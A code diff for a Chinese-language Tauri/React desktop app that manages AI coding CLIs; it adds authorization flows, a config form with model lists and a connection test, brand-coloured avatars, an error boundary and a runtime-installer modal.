json!({ "runtime": runtime, "phase": "error", "message": format!("下载失败:{e}。可点击「打开官方下载页」手动下载。"), "fallback": true }),
|
||||
);
|
||||
}
|
||||
}
|
||||
});
|
||||
Ok(())
|
||||
}
|
||||
@@ -48,13 +48,26 @@ pub fn run() {
|
||||
commands::env::detect_env,
|
||||
commands::catalog::list_catalog,
|
||||
commands::cli::detect_cli,
|
||||
commands::cli::detect_cli_all,
|
||||
commands::cli::get_adapter,
|
||||
commands::cli::preview_action,
|
||||
commands::cli::run_action,
|
||||
commands::cli::read_config,
|
||||
commands::cli::write_config,
|
||||
commands::cli::verify_config,
|
||||
commands::cli::auth_status,
|
||||
commands::cli::authorize,
|
||||
commands::cli::cancel_authorize,
|
||||
commands::cli::diagnose,
|
||||
commands::cli::diagnose_all,
|
||||
commands::cli::diagnose_system,
|
||||
commands::cli::check_update,
|
||||
commands::cli::list_models,
|
||||
commands::cli::test_connection,
|
||||
commands::cli::open_external,
|
||||
commands::runtime::preview_runtime_install,
|
||||
commands::runtime::open_runtime_page,
|
||||
commands::runtime::install_runtime,
|
||||
])
|
||||
.run(tauri::generate_context!())
|
||||
.expect("error while running tauri application");
|
||||
|
||||
@@ -29,6 +29,7 @@ function envWarningCount(env: PlatformEnv | null): number {
|
||||
export default function App() {
|
||||
const [page, setPage] = useState<PageKey>("overview");
|
||||
const [detailCliId, setDetailCliId] = useState<string | null>(null);
|
||||
const [pendingRuntime, setPendingRuntime] = useState<string | null>(null);
|
||||
const { env } = useEnv();
|
||||
const warningCount = envWarningCount(env);
|
||||
|
||||
@@ -37,17 +38,31 @@ export default function App() {
|
||||
setPage(next);
|
||||
}
|
||||
|
||||
// 从详情页/其它页直达本机环境区某个运行时的一键安装(联动 Wave 2.2 Req 1/3)
|
||||
function openRuntimeInstall(runtime: string) {
|
||||
setDetailCliId(null);
|
||||
setPage("overview");
|
||||
setPendingRuntime(runtime);
|
||||
}
|
||||
|
||||
const content = useMemo(() => {
|
||||
if (detailCliId) {
|
||||
return <CliDetailPage id={detailCliId} onBack={() => setDetailCliId(null)} />;
|
||||
return <CliDetailPage id={detailCliId} onBack={() => setDetailCliId(null)} onInstallRuntime={openRuntimeInstall} />;
|
||||
}
|
||||
switch (page) {
|
||||
case "overview":
|
||||
return <OverviewPage onNavigate={navigate} />;
|
||||
return (
|
||||
<OverviewPage
|
||||
onNavigate={navigate}
|
||||
onOpenDetail={setDetailCliId}
|
||||
pendingRuntime={pendingRuntime}
|
||||
onRuntimeHandled={() => setPendingRuntime(null)}
|
||||
/>
|
||||
);
|
||||
case "catalog":
|
||||
return <CatalogPage onOpenDetail={setDetailCliId} />;
|
||||
case "my-cli":
|
||||
return <MyCliPage onNavigate={navigate} />;
|
||||
return <MyCliPage onNavigate={navigate} onOpenDetail={setDetailCliId} />;
|
||||
case "config":
|
||||
return <ConfigCenterPage onNavigate={navigate} />;
|
||||
case "backup":
|
||||
@@ -55,7 +70,7 @@ export default function App() {
|
||||
case "settings":
|
||||
return <SettingsPage />;
|
||||
}
|
||||
}, [page, detailCliId, env]);
|
||||
}, [page, detailCliId, env, pendingRuntime]);
|
||||
|
||||
const title = detailCliId ? "CLI 详情" : PAGE_META[page].title;
|
||||
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
import { useEffect, useState } from "react";
|
||||
import { Copy, ExternalLink, Loader2, ShieldCheck, X } from "lucide-react";
|
||||
import { authorize, cancelAuthorize, onCliAuth } from "../ipc";
|
||||
import type { AuthFlowEvent, AuthModeInfo } from "../ipc/types";
|
||||
import { Modal } from "./Modal";
|
||||
|
||||
/** 官方授权方式中文名 */
|
||||
function authModeLabel(mode: string): string {
|
||||
switch (mode) {
|
||||
case "browser_oauth":
|
||||
return "账号授权(浏览器)";
|
||||
case "device_code":
|
||||
return "设备码";
|
||||
case "api_key":
|
||||
return "API Key";
|
||||
case "local_tui":
|
||||
return "本机终端授权";
|
||||
default:
|
||||
return mode;
|
||||
}
|
||||
}
|
||||
|
||||
function modeButtonLabel(mode: string): string {
|
||||
switch (mode) {
|
||||
case "browser_oauth":
|
||||
return "开始授权";
|
||||
case "device_code":
|
||||
return "开始授权";
|
||||
case "local_tui":
|
||||
return "打开终端授权";
|
||||
case "api_key":
|
||||
return "用已保存的 Key 授权";
|
||||
default:
|
||||
return "去授权";
|
||||
}
|
||||
}
|
||||
|
||||
interface FlowState {
|
||||
mode: string;
|
||||
events: AuthFlowEvent[];
|
||||
device: { code: string; url: string } | null;
|
||||
done: boolean | null; // null=进行中
|
||||
}
|
||||
|
||||
/** 软件内授权面板(Wave 2.2 Req 2):把「说明文字」升级为可操作授权流程。
|
||||
* 覆盖 API Key / 浏览器 / 设备码 / 本机终端四类,事件流经 cli-auth-event 实时回传。 */
|
||||
export function AuthPanel({
|
||||
id,
|
||||
authModes,
|
||||
onAuthChanged,
|
||||
}: {
|
||||
id: string;
|
||||
authModes: AuthModeInfo[];
|
||||
onAuthChanged: () => void;
|
||||
}) {
|
||||
const [flow, setFlow] = useState<FlowState | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
let unlisten: (() => void) | undefined;
|
||||
onCliAuth((ev) => {
|
||||
if (ev.cli_id !== id) return;
|
||||
setFlow((f) => {
|
||||
if (!f) return f;
|
||||
const next: FlowState = { ...f, events: [...f.events, ev] };
|
||||
if (ev.kind === "device_code" && ev.user_code && ev.verification_url) {
|
||||
next.device = { code: ev.user_code, url: ev.verification_url };
|
||||
}
|
||||
if (ev.kind === "done") {
|
||||
next.done = ev.authorized ?? false;
|
||||
onAuthChanged();
|
||||
}
|
||||
if (ev.kind === "error" || ev.kind === "cancelled") {
|
||||
next.done = false;
|
||||
}
|
||||
return next;
|
||||
});
|
||||
}).then((fn) => {
|
||||
unlisten = fn;
|
||||
});
|
||||
return () => unlisten?.();
|
||||
}, [id, onAuthChanged]);
|
||||
|
||||
function start(mode: string) {
|
||||
setFlow({ mode, events: [], device: null, done: null });
|
||||
void authorize(id, mode);
|
||||
}
|
||||
|
||||
function cancel() {
|
||||
if (flow) void cancelAuthorize(id, flow.mode);
|
||||
}
|
||||
|
||||
function close() {
|
||||
setFlow(null);
|
||||
}
|
||||
|
||||
if (authModes.length === 0) return null;
|
||||
|
||||
return (
|
||||
<>
|
||||
<ul className="auth-modes">
|
||||
{authModes.map((m) => (
|
||||
<li key={m.mode} className="auth-mode">
|
||||
<span className="auth-mode-name">{authModeLabel(m.mode)}</span>
|
||||
{m.notes_zh && <span className="auth-mode-note">{m.notes_zh}</span>}
|
||||
<button type="button" className="btn btn-secondary auth-mode-action" onClick={() => start(m.mode)}>
|
||||
{modeButtonLabel(m.mode)}
|
||||
</button>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
|
||||
{flow && (
|
||||
<Modal
|
||||
title={`${authModeLabel(flow.mode)}授权 · ${id}`}
|
||||
onClose={flow.done == null ? undefined : close}
|
||||
footer={
|
||||
flow.done == null ? (
|
||||
<button type="button" className="btn btn-secondary" onClick={cancel}>
|
||||
<X size={14} strokeWidth={1.5} aria-hidden="true" /> 取消授权
|
||||
</button>
|
||||
) : (
|
||||
<button type="button" className="btn btn-primary" onClick={close}>
|
||||
完成
|
||||
</button>
|
||||
)
|
||||
}
|
||||
>
|
||||
<AuthFlowBody flow={flow} />
|
||||
</Modal>
|
||||
)}
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
function AuthFlowBody({ flow }: { flow: FlowState }) {
|
||||
const { device, events, done } = flow;
|
||||
return (
|
||||
<div className="auth-flow">
|
||||
{/* 设备码:大号验证码 + 一键复制 + 打开授权网页 */}
|
||||
{device && (
|
||||
<div className="auth-device">
|
||||
<div className="auth-device-label">在浏览器打开验证链接,输入以下设备码</div>
|
||||
<div className="auth-device-code">
|
||||
<span className="auth-device-code-text">{device.code}</span>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary auth-copy"
|
||||
onClick={() => void navigator.clipboard.writeText(device.code)}
|
||||
>
|
||||
<Copy size={14} strokeWidth={1.5} aria-hidden="true" /> 复制
|
||||
</button>
|
||||
</div>
|
||||
<a className="btn btn-primary auth-open" href={device.url} target="_blank" rel="noreferrer">
|
||||
<ExternalLink size={14} strokeWidth={1.5} aria-hidden="true" /> 打开授权网页
|
||||
</a>
|
||||
<div className="auth-device-hint">请在弹出的浏览器里完成确认,本软件会轮询授权结果。</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* 状态行 */}
|
||||
<div className="auth-status">
|
||||
{done == null ? (
|
||||
<span className="auth-waiting">
|
||||
<Loader2 size={14} strokeWidth={1.5} className="spin" aria-hidden="true" />
|
||||
{device ? "等待浏览器确认…(可随时取消)" : "授权进行中,等待浏览器确认…(可随时取消)"}
|
||||
</span>
|
||||
) : done ? (
|
||||
<span className="auth-done">
|
||||
<ShieldCheck size={14} strokeWidth={1.5} aria-hidden="true" /> 已授权 ✓
|
||||
</span>
|
||||
) : (
|
||||
<span className="auth-failed">
|
||||
<X size={14} strokeWidth={1.5} aria-hidden="true" /> 授权未完成,请重试或改用其它方式
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* 实时输出(脱敏后) */}
|
||||
{events.length > 0 && (
|
||||
<div className="auth-log">
|
||||
{events
|
||||
.filter((e) => e.kind === "line" || e.kind === "waiting")
|
||||
.map((e, i) => (
|
||||
<div key={i} className={`auth-log-line ${e.kind}`}>
|
||||
{e.message}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -30,7 +30,29 @@ function fallbackAbbr(name: string): string {
|
||||
return name.replace(/\s+/g, "").slice(0, 2).toUpperCase();
|
||||
}
|
||||
|
||||
/** CLI 单色字母头像(视觉规范 §7:双字母单色,--ad-bg-2 底 + 1px --ad-border) */
|
||||
/**
|
||||
* 各工具官方图标主色(Wave 3.1 Req 10:按官方主色微调头像角标,不改动六色语义)。
|
||||
* 官方图标二进制资源待打包波由美术师统一下载本地化;此处以主色作为识别配色过渡。
|
||||
*/
|
||||
const CLI_BRAND_COLORS: Record<string, string> = {
|
||||
codex: "#10A37F",
|
||||
"claude-code": "#D97757",
|
||||
gemini: "#4285F4",
|
||||
copilot: "#8957E5",
|
||||
kimi: "#5B5BEE",
|
||||
qwen: "#615CED",
|
||||
codebuddy: "#0052D9",
|
||||
opencode: "#7C5CFF",
|
||||
crush: "#F4B860",
|
||||
goose: "#E84393",
|
||||
aider: "#FF6B6B",
|
||||
cursor: "#4A4A4A",
|
||||
cline: "#6B6BFF",
|
||||
warp: "#00E0FF",
|
||||
};
|
||||
|
||||
/** CLI 单色字母头像(视觉规范 §7:双字母单色,--ad-bg-2 底 + 1px --ad-border)
|
||||
* Wave 3.1:官方图标主色作为字母/角标识别配色(官方图标二进制待打包波本地化) */
|
||||
export function CliMonogram({
|
||||
id,
|
||||
name,
|
||||
@@ -41,10 +63,16 @@ export function CliMonogram({
|
||||
size?: number;
|
||||
}) {
|
||||
const chars = CLI_MONOGRAMS[id] ?? fallbackAbbr(name);
|
||||
const accent = CLI_BRAND_COLORS[id];
|
||||
return (
|
||||
<span
|
||||
className="monogram"
|
||||
style={{ width: size, height: size, fontSize: Math.round(size * 0.42) }}
|
||||
style={{
|
||||
width: size,
|
||||
height: size,
|
||||
fontSize: Math.round(size * 0.42),
|
||||
...(accent ? { color: accent, borderColor: `${accent}66` } : {}),
|
||||
}}
|
||||
aria-hidden="true"
|
||||
>
|
||||
{chars}
|
||||
|
||||
@@ -1,11 +1,30 @@
|
||||
import { useEffect, useMemo, useState } from "react";
|
||||
import { Check, Eye, EyeOff, Lock } from "lucide-react";
|
||||
import { readConfig, writeConfig } from "../ipc";
|
||||
import type { ConfigFieldState, ConfigFormState, WriteResult } from "../ipc/types";
|
||||
import { Check, ChevronDown, CircleAlert, ExternalLink, Eye, EyeOff, Lock, PlugZap, ShieldCheck } from "lucide-react";
|
||||
import { listModels, readConfig, testConnection, verifyConfig, writeConfig, openExternal } from "../ipc";
|
||||
import type {
|
||||
ConfigFieldState,
|
||||
ConfigFormState,
|
||||
ConfigVerifyResult,
|
||||
ConnectionTestResult,
|
||||
ModelListResult,
|
||||
WriteResult,
|
||||
} from "../ipc/types";
|
||||
import { AuthPanel } from "./AuthPanel";
|
||||
import { MonoChip } from "./MonoChip";
|
||||
|
||||
/** 配置表单(视觉规范 §3.4:单列 ≤640px、敏感字段密码框 + 密钥库说明、吸底保存条) */
|
||||
export function ConfigForm({ id }: { id: string }) {
|
||||
/** 配置表单(视觉规范 §3.4:单列 ≤640px、敏感字段密码框 + 密钥库说明、吸底保存条)
|
||||
* Wave 2.1:字段按官方配置方法渲染 + 保存后「生效检查」
|
||||
* Wave 2.2:授权/登录层改为可操作授权流程(AuthPanel)
|
||||
* Wave 3.1:默认模型 → 模型列表 + 测试连通 */
|
||||
export function ConfigForm({
|
||||
id,
|
||||
onAuthChanged,
|
||||
canTestConnection = false,
|
||||
}: {
|
||||
id: string;
|
||||
onAuthChanged?: () => void;
|
||||
canTestConnection?: boolean;
|
||||
}) {
|
||||
const [state, setState] = useState<ConfigFormState | null>(null);
|
||||
const [values, setValues] = useState<Record<string, string>>({});
|
||||
const [revealed, setRevealed] = useState<Record<string, boolean>>({});
|
||||
@@ -13,7 +32,12 @@ export function ConfigForm({ id }: { id: string }) {
|
||||
const [saving, setSaving] = useState(false);
|
||||
const [saved, setSaved] = useState(false);
|
||||
const [result, setResult] = useState<WriteResult | null>(null);
|
||||
const [verify, setVerify] = useState<ConfigVerifyResult | null>(null);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [advancedOpen, setAdvancedOpen] = useState(false);
|
||||
const [models, setModels] = useState<ModelListResult | null>(null);
|
||||
const [connTest, setConnTest] = useState<ConnectionTestResult | null>(null);
|
||||
const [connBusy, setConnBusy] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
@@ -34,11 +58,29 @@ export function ConfigForm({ id }: { id: string }) {
|
||||
setLoading(false);
|
||||
}
|
||||
});
|
||||
listModels(id)
|
||||
.then((m) => {
|
||||
if (!cancelled) setModels(m);
|
||||
})
|
||||
.catch(() => {});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [id]);
|
||||
|
||||
async function runTestConnection() {
|
||||
setConnBusy(true);
|
||||
setConnTest(null);
|
||||
try {
|
||||
const r = await testConnection(id);
|
||||
setConnTest(r);
|
||||
} catch (e) {
|
||||
setConnTest({ cli_id: id, ok: false, message_zh: String(e), http_status: null, detail: null });
|
||||
} finally {
|
||||
setConnBusy(false);
|
||||
}
|
||||
}
|
||||
|
||||
const sensitiveSaved = useMemo(() => {
|
||||
const m: Record<string, boolean> = {};
|
||||
state?.fields.forEach((f) => {
|
||||
@@ -52,11 +94,32 @@ export function ConfigForm({ id }: { id: string }) {
|
||||
if (!state) return null;
|
||||
|
||||
const hasFields = state.fields.length > 0;
|
||||
const authFields = state.fields.filter((f) => f.group === "auth");
|
||||
const commonFields = state.fields.filter((f) => f.group === "common");
|
||||
const advancedFields = state.fields.filter((f) => f.group === "advanced");
|
||||
|
||||
function renderField(field: ConfigFieldState) {
|
||||
const isModelField = field.field_type === "string" && field.id.toLowerCase().includes("model");
|
||||
const suggestions = isModelField ? (models?.models.map((m) => m.id) ?? []) : [];
|
||||
return (
|
||||
<Field
|
||||
key={field.id}
|
||||
field={field}
|
||||
value={values[field.id] ?? ""}
|
||||
saved={sensitiveSaved[field.id] ?? false}
|
||||
revealed={!!revealed[field.id]}
|
||||
suggestions={suggestions}
|
||||
onToggleReveal={() => setRevealed((r) => ({ ...r, [field.id]: !r[field.id] }))}
|
||||
onChange={(v) => setValues((x) => ({ ...x, [field.id]: v }))}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
async function onSave() {
|
||||
setSaving(true);
|
||||
setSaved(false);
|
||||
setResult(null);
|
||||
setVerify(null);
|
||||
setError(null);
|
||||
const patch: Record<string, string> = {};
|
||||
for (const f of state!.fields) {
|
||||
@@ -78,6 +141,13 @@ export function ConfigForm({ id }: { id: string }) {
|
||||
// 刷新回显
|
||||
const s = await readConfig(id);
|
||||
setState(s);
|
||||
// 生效检查:写回的配置能否被 CLI 接受(配置文件解析 + CLI 版本探测)
|
||||
try {
|
||||
const v = await verifyConfig(id);
|
||||
setVerify(v);
|
||||
} catch {
|
||||
setVerify(null);
|
||||
}
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
} finally {
|
||||
@@ -89,17 +159,87 @@ export function ConfigForm({ id }: { id: string }) {
|
||||
<div className="config-form">
|
||||
{!hasFields && <p className="panel-empty">该 CLI 未声明可配置的中文表单字段。</p>}
|
||||
|
||||
{state.fields.map((field) => (
|
||||
<Field
|
||||
key={field.id}
|
||||
field={field}
|
||||
value={values[field.id] ?? ""}
|
||||
saved={sensitiveSaved[field.id] ?? false}
|
||||
revealed={!!revealed[field.id]}
|
||||
onToggleReveal={() => setRevealed((r) => ({ ...r, [field.id]: !r[field.id] }))}
|
||||
onChange={(v) => setValues((x) => ({ ...x, [field.id]: v }))}
|
||||
/>
|
||||
))}
|
||||
{/* 第一层:授权 / 登录(可操作授权流程 + API Key 类字段) */}
|
||||
{(state.auth_modes.length > 0 || authFields.length > 0) && (
|
||||
<section className="config-section">
|
||||
<h4 className="config-section-title">授权 / 登录</h4>
|
||||
{state.auth_modes.length > 0 && (
|
||||
<AuthPanel id={id} authModes={state.auth_modes} onAuthChanged={onAuthChanged ?? (() => {})} />
|
||||
)}
|
||||
{authFields.map(renderField)}
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* 第二层:模型列表 + 测试连通(Wave 3.1 Req 5) */}
|
||||
{(models && models.models.length > 0) || canTestConnection ? (
|
||||
<section className="config-section">
|
||||
<h4 className="config-section-title">模型</h4>
|
||||
{models && models.models.length > 0 ? (
|
||||
<div className="model-list">
|
||||
<div className="model-list-rows">
|
||||
{models.models.map((m) => (
|
||||
<div key={m.id} className="model-row">
|
||||
<MonoChip>{m.id}</MonoChip>
|
||||
{m.label_zh && <span className="model-row-label">{m.label_zh}</span>}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<span className="model-list-hint">{models.detail_zh}</span>
|
||||
</div>
|
||||
) : (
|
||||
<p className="model-list-hint">该工具未提供模型清单,可在默认模型字段手动填写。</p>
|
||||
)}
|
||||
{canTestConnection && (
|
||||
<div className="model-connect">
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary btn-sm"
|
||||
onClick={runTestConnection}
|
||||
disabled={connBusy}
|
||||
>
|
||||
<PlugZap size={13} strokeWidth={1.5} aria-hidden="true" />
|
||||
{connBusy ? "测试中…" : "测试连通"}
|
||||
</button>
|
||||
{connTest && (
|
||||
<span className={`connect-test-result ${connTest.ok ? "ok" : "fail"}`}>
|
||||
{connTest.message_zh}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</section>
|
||||
) : null}
|
||||
|
||||
{/* 第二层:常用配置 */}
|
||||
{commonFields.length > 0 && (
|
||||
<section className="config-section">
|
||||
<h4 className="config-section-title">常用配置</h4>
|
||||
{commonFields.map(renderField)}
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* 第三层:高级配置(默认折叠) */}
|
||||
{advancedFields.length > 0 && (
|
||||
<section className="config-section">
|
||||
<button
|
||||
type="button"
|
||||
className="config-advanced-toggle"
|
||||
onClick={() => setAdvancedOpen((v) => !v)}
|
||||
aria-expanded={advancedOpen}
|
||||
>
|
||||
<span className="config-section-title">高级配置</span>
|
||||
<span className="advanced-badge">高级</span>
|
||||
<ChevronDown
|
||||
size={16}
|
||||
strokeWidth={1.5}
|
||||
className={advancedOpen ? "advanced-chevron open" : "advanced-chevron"}
|
||||
aria-hidden="true"
|
||||
/>
|
||||
</button>
|
||||
<p className="advanced-hint">以下为官方支持但少数用户使用的高级项,一般无需修改。</p>
|
||||
{advancedOpen && <div className="advanced-fields">{advancedFields.map(renderField)}</div>}
|
||||
</section>
|
||||
)}
|
||||
|
||||
{state.files.length > 0 && (
|
||||
<div className="config-file-info">
|
||||
@@ -121,6 +261,16 @@ export function ConfigForm({ id }: { id: string }) {
|
||||
<Check size={14} strokeWidth={1.5} aria-hidden="true" /> 已保存
|
||||
</span>
|
||||
)}
|
||||
{verify && (
|
||||
<span className={verify.ok ? "verify-ok" : "verify-fail"}>
|
||||
{verify.ok ? (
|
||||
<ShieldCheck size={14} strokeWidth={1.5} aria-hidden="true" />
|
||||
) : (
|
||||
<CircleAlert size={14} strokeWidth={1.5} aria-hidden="true" />
|
||||
)}
|
||||
{verify.message_zh}
|
||||
</span>
|
||||
)}
|
||||
{result?.backup_path && (
|
||||
<span className="save-detail">
|
||||
已备份原文件 · {result.backup_path.split(/[\\/]/).pop()}
|
||||
@@ -147,6 +297,7 @@ function Field({
|
||||
value,
|
||||
saved,
|
||||
revealed,
|
||||
suggestions,
|
||||
onChange,
|
||||
onToggleReveal,
|
||||
}: {
|
||||
@@ -154,11 +305,14 @@ function Field({
|
||||
value: string;
|
||||
saved: boolean;
|
||||
revealed: boolean;
|
||||
suggestions?: string[];
|
||||
onChange: (v: string) => void;
|
||||
onToggleReveal: () => void;
|
||||
}) {
|
||||
const isPassword = field.sensitive;
|
||||
const inputType = isPassword ? (revealed ? "text" : "password") : field.field_type === "url" ? "text" : "text";
|
||||
const isEnum = field.field_type === "enum";
|
||||
const inputType = isPassword ? (revealed ? "text" : "password") : "text";
|
||||
const datalistId = suggestions && suggestions.length > 0 ? `dl-${field.id}` : undefined;
|
||||
return (
|
||||
<div className="field">
|
||||
<label className="field-label" htmlFor={`field-${field.id}`}>
|
||||
@@ -171,15 +325,39 @@ function Field({
|
||||
<Lock size={12} strokeWidth={1.5} aria-hidden="true" />
|
||||
</span>
|
||||
)}
|
||||
<input
|
||||
id={`field-${field.id}`}
|
||||
type={inputType}
|
||||
value={value}
|
||||
placeholder={isPassword ? (saved ? "已保存 · 留空则不变" : "输入 API Key") : ""}
|
||||
autoComplete="off"
|
||||
spellCheck={false}
|
||||
onChange={(e) => onChange(e.target.value)}
|
||||
/>
|
||||
{isEnum ? (
|
||||
<select
|
||||
id={`field-${field.id}`}
|
||||
className="field-select"
|
||||
value={value}
|
||||
onChange={(e) => onChange(e.target.value)}
|
||||
>
|
||||
<option value="">(使用 CLI 默认)</option>
|
||||
{field.options.map((o) => (
|
||||
<option key={o.value} value={o.value}>
|
||||
{o.label_zh}({o.value})
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
) : (
|
||||
<input
|
||||
id={`field-${field.id}`}
|
||||
type={inputType}
|
||||
value={value}
|
||||
list={datalistId}
|
||||
placeholder={isPassword ? (saved ? "已保存 · 留空则不变" : "输入 API Key") : ""}
|
||||
autoComplete="off"
|
||||
spellCheck={false}
|
||||
onChange={(e) => onChange(e.target.value)}
|
||||
/>
|
||||
)}
|
||||
{datalistId && (
|
||||
<datalist id={datalistId}>
|
||||
{suggestions!.map((m) => (
|
||||
<option key={m} value={m} />
|
||||
))}
|
||||
</datalist>
|
||||
)}
|
||||
{isPassword && (
|
||||
<button
|
||||
type="button"
|
||||
@@ -196,9 +374,20 @@ function Field({
|
||||
{field.help_zh}
|
||||
{isPassword && (
|
||||
<span className="field-keyring-note">
|
||||
{saved ? " · 已加密保存于系统密钥库" : " · 保存后写入系统密钥库,绝不明文落盘"}
|
||||
{saved
|
||||
? ` · 已加密保存于系统密钥库${field.env_key ? `(${field.env_key})` : ""}`
|
||||
: ` · 保存后写入系统密钥库,绝不明文落盘${field.env_key ? `(${field.env_key})` : ""}`}
|
||||
</span>
|
||||
)}
|
||||
{field.docs_url && (
|
||||
<a
|
||||
className="field-docs-link"
|
||||
href={field.docs_url}
|
||||
onClick={(e) => { e.preventDefault(); void openExternal(field.docs_url!); }}
|
||||
>
|
||||
官方文档 <ExternalLink size={11} strokeWidth={1.5} aria-hidden="true" />
|
||||
</a>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
import { Component, type ErrorInfo, type ReactNode } from "react";
|
||||
|
||||
interface Props {
|
||||
children: ReactNode;
|
||||
}
|
||||
|
||||
interface State {
|
||||
error: Error | null;
|
||||
}
|
||||
|
||||
/** 顶层错误边界:任何渲染崩溃都不再整屏黑屏,而是给出可恢复提示 */
|
||||
export class ErrorBoundary extends Component<Props, State> {
|
||||
state: State = { error: null };
|
||||
|
||||
static getDerivedStateFromError(error: Error): State {
|
||||
return { error };
|
||||
}
|
||||
|
||||
componentDidCatch(error: Error, info: ErrorInfo) {
|
||||
// 记录到控制台便于排查,不含敏感信息
|
||||
console.error("[agentdock] render error:", error, info.componentStack);
|
||||
}
|
||||
|
||||
render() {
|
||||
if (this.state.error) {
|
||||
return (
|
||||
<div className="crash-screen">
|
||||
<h1 className="crash-title">界面出现异常</h1>
|
||||
<p className="crash-desc">页面渲染时发生错误,点击下方按钮可返回恢复。</p>
|
||||
<p className="crash-detail">{this.state.error.message}</p>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
onClick={() => this.setState({ error: null })}
|
||||
>
|
||||
重新加载界面
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
return this.props.children;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
import { useEffect, useState } from "react";
|
||||
import { Check, Download, ExternalLink, Loader2, ShieldAlert } from "lucide-react";
|
||||
import { installRuntime, onRuntimeInstall, openRuntimePage, previewRuntimeInstall } from "../ipc";
|
||||
import type { RuntimeInstallEvent, RuntimeSource } from "../ipc/types";
|
||||
import { Modal } from "./Modal";
|
||||
|
||||
const RUNTIME_LABELS: Record<string, string> = {
|
||||
node: "Node.js",
|
||||
python: "Python",
|
||||
git: "Git",
|
||||
winget: "winget",
|
||||
uv: "uv",
|
||||
};
|
||||
|
||||
/** 本机环境运行时一键安装弹窗(Wave 2.2 Req 3):
|
||||
* 展示官方来源/体积/权限 → 确认后下载官方安装包并打开安装向导 → 失败兜底打开官网下载页。 */
|
||||
export function RuntimeInstallModal({ runtime, onClose }: { runtime: string; onClose: () => void }) {
|
||||
const [source, setSource] = useState<RuntimeSource | null>(null);
|
||||
const [phase, setPhase] = useState<"preview" | "running" | "done" | "error" | "opened">("preview");
|
||||
const [message, setMessage] = useState("");
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
previewRuntimeInstall(runtime)
|
||||
.then((s) => {
|
||||
if (!cancelled) setSource(s);
|
||||
})
|
||||
.catch((e) => {
|
||||
if (!cancelled) setError(String(e));
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [runtime]);
|
||||
|
||||
useEffect(() => {
|
||||
let unlisten: (() => void) | undefined;
|
||||
onRuntimeInstall((ev: RuntimeInstallEvent) => {
|
||||
if (ev.runtime !== runtime) return;
|
||||
setMessage(ev.message);
|
||||
if (ev.phase === "done") setPhase("done");
|
||||
else if (ev.phase === "opened_page") setPhase("opened");
|
||||
else if (ev.phase === "error") {
|
||||
setPhase("error");
|
||||
setError(ev.message);
|
||||
} else {
|
||||
setPhase("running");
|
||||
}
|
||||
}).then((fn) => {
|
||||
unlisten = fn;
|
||||
});
|
||||
return () => unlisten?.();
|
||||
}, [runtime]);
|
||||
|
||||
function start() {
|
||||
setPhase("running");
|
||||
setMessage("");
|
||||
setError(null);
|
||||
void installRuntime(runtime);
|
||||
}
|
||||
|
||||
function openPage() {
|
||||
void openRuntimePage(runtime);
|
||||
setPhase("opened");
|
||||
}
|
||||
|
||||
const label = RUNTIME_LABELS[runtime] ?? runtime;
|
||||
|
||||
return (
|
||||
<Modal title={`安装 ${label}`} onClose={onClose} footer={<Footer phase={phase} source={source} onStart={start} onOpenPage={openPage} onClose={onClose} />}>
|
||||
{error && phase === "preview" && !source ? (
|
||||
<p className="panel-empty">无法获取安装来源:{error}</p>
|
||||
) : !source ? (
|
||||
<p className="panel-empty">加载安装来源…</p>
|
||||
) : (
|
||||
<div className="runtime-install">
|
||||
<div className="runtime-source">
|
||||
<div className="confirm-label">官方来源</div>
|
||||
<p className="confirm-text">{source.source_label}</p>
|
||||
{source.download_url && (
|
||||
<p className="runtime-url">
|
||||
<span className="confirm-label">下载地址 </span>
|
||||
<span className="runtime-url-text">{source.download_url}</span>
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
<div className="runtime-meta">
|
||||
<div>
|
||||
<span className="confirm-label">大概体积 </span>
|
||||
<span className="confirm-text">{source.size_approx}</span>
|
||||
</div>
|
||||
<div>
|
||||
<span className="confirm-label">需要的权限 </span>
|
||||
<span className="confirm-text">{source.elevate_needed ? "需要管理员权限(安装向导会弹 UAC 确认)" : "无需管理员权限"}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{(phase === "running" || phase === "done") && (
|
||||
<div className="runtime-progress">
|
||||
{phase === "running" && (
|
||||
<span className="auth-waiting">
|
||||
<Loader2 size={14} strokeWidth={1.5} className="spin" aria-hidden="true" />
|
||||
{message || "处理中…"}
|
||||
</span>
|
||||
)}
|
||||
{phase === "done" && (
|
||||
<span className="auth-done">
|
||||
<Check size={14} strokeWidth={1.5} aria-hidden="true" /> {message || "安装向导已打开"}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{phase === "error" && error && (
|
||||
<div className="runtime-error">
|
||||
<ShieldAlert size={14} strokeWidth={1.5} aria-hidden="true" />
|
||||
<span>{error}</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<p className="runtime-note">
|
||||
